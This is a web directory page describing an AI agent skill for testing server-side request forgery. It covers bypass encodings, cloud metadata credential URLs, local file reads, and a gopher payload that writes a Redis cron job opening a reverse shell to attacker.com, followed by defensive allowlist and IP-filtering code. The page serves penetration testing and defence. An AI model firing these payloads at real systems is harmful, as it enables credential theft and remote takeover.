SuperAPI AI Directory
Partner with us中文AI newsFavorites
Skillsssrf-testing

ssrf-testing

Security & auditing

View repository

Updated 10-15 19:53

About this skill

SSRF server-side request forgery testing

Overview

SSRF (Server-Side Request Forgery) is a vulnerability that exploits the server to initiate requests, allowing access to internal network resources, port scanning, or bypassing firewalls. This skill provides methods for detecting, exploiting, and preventing SSRF vulnerabilities.

Vulnerability Principle

The application accepts a URL parameter and requests that URL. An attacker can control the target of the request, resulting in:

  • Internal network resource access
  • Local file reading
  • Port scanning
  • Bypassing firewalls
  • Cloud service metadata access

Testing Methods

1. Identify SSRF input points

Common features:

  • URL preview/screenshot
  • File upload (remote URL)
  • Webhook callback
  • API proxy
  • Data import
  • Image processing
  • PDF generation

2. Basic detection

Test local loopback:

http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]

Test internal IP:

http://192.168.1.1
http://10.0.0.1
http://172.16.0.1

Test file protocol:

file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts

3. Bypass techniques

IP address encoding:

127.0.0.1 → 2130706433 (十进制)
127.0.0.1 → 0x7f000001 (十六进制)
127.0.0.1 → 0177.0.0.1 (八进制)

Domain name resolution bypass:

127.0.0.1.xip.io
127.0.0.1.nip.io
localtest.me

URL redirection:

http://attacker.com/redirect → http://127.0.0.1

Protocol obfuscation:

http://127.0.0.1:80@evil.com
http://evil.com#@127.0.0.1

Exploitation Techniques

Internal network probing

Port scanning:

# 使用Burp Intruder
http://127.0.0.1:22
http://127.0.0.1:3306
http://127.0.0.1:6379
http://127.0.0.1:8080
http://127.0.0.1:9200

Identify services:

  • Response time differences
  • Error messages
  • HTTP status codes
  • Response content

Cloud service metadata

AWS EC2：

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

Google Cloud：

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/

Azure：

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01

Alibaba Cloud:

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/

Internal network application attacks

Access admin backend:

http://127.0.0.1:8080/admin
http://192.168.1.100/phpmyadmin

Redis unauthorized access:

http://127.0.0.1:6379
# 然后发送Redis命令

FastCGI attack:

http://127.0.0.1:9000
# 利用FastCGI协议执行命令

Advanced Exploitation

Gopher protocol

Send arbitrary protocol data:

gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0a

Redis command execution:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

Dict protocol

Port scanning and information gathering:

dict://127.0.0.1:6379/info
dict://127.0.0.1:3306/status

File protocol

Read local files:

file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
file:///proc/self/environ

Tool Usage

SSRFmap

# 基础扫描
python3 ssrfmap.py -r request.txt -p url

# 端口扫描
python3 ssrfmap.py -r request.txt -p url -m portscan

# 云元数据
python3 ssrfmap.py -r request.txt -p url -m cloud

Gopherus

# 生成Gopher payload
python gopherus.py --exploit redis

Burp Collaborator

Detect blind SSRF:

http://burpcollaborator.net
# 观察是否有DNS/HTTP请求

Verification and Reporting

Verification steps

  1. Confirm that the request target can be controlled
  2. Verify internal network resource access or port scanning
  3. Assess the scope of impact (internal network penetration, data leakage, etc.)
  4. Record the complete POC

Report key points

  • Vulnerability location and input parameters
  • Accessible internal network resources or ports
  • Complete exploitation steps and PoC
  • Remediation recommendations (URL whitelist, disable dangerous protocols, etc.)

Protective Measures

Recommended solutions

  1. URL whitelist

    ALLOWED_DOMAINS = ['example.com', 'cdn.example.com']
parsed = urlparse(url)
if parsed.netloc not in ALLOWED_DOMAINS:
    raise ValueError("Domain not allowed")

  2. Disable dangerous protocols

    • Only allow http/https
    • Prohibit file://, gopher://, dict://, etc.

  3. IP address filtering

    import ipaddress

def is_internal_ip(ip):
    return ipaddress.ip_address(ip).is_private or \
           ipaddress.ip_address(ip).is_loopback

  4. Use DNS resolution verification

    • Resolve domain names to obtain IPs
    • Verify whether the IP is within the internal network range

  5. Network isolation

    • Restrict server outbound network permissions
    • Use a proxy server

Precautions

  • Only conduct in an authorized testing environment
  • Avoid affecting internal network systems
  • Note the support status of different protocols
  • During testing, pay attention to the request frequency to avoid triggering protection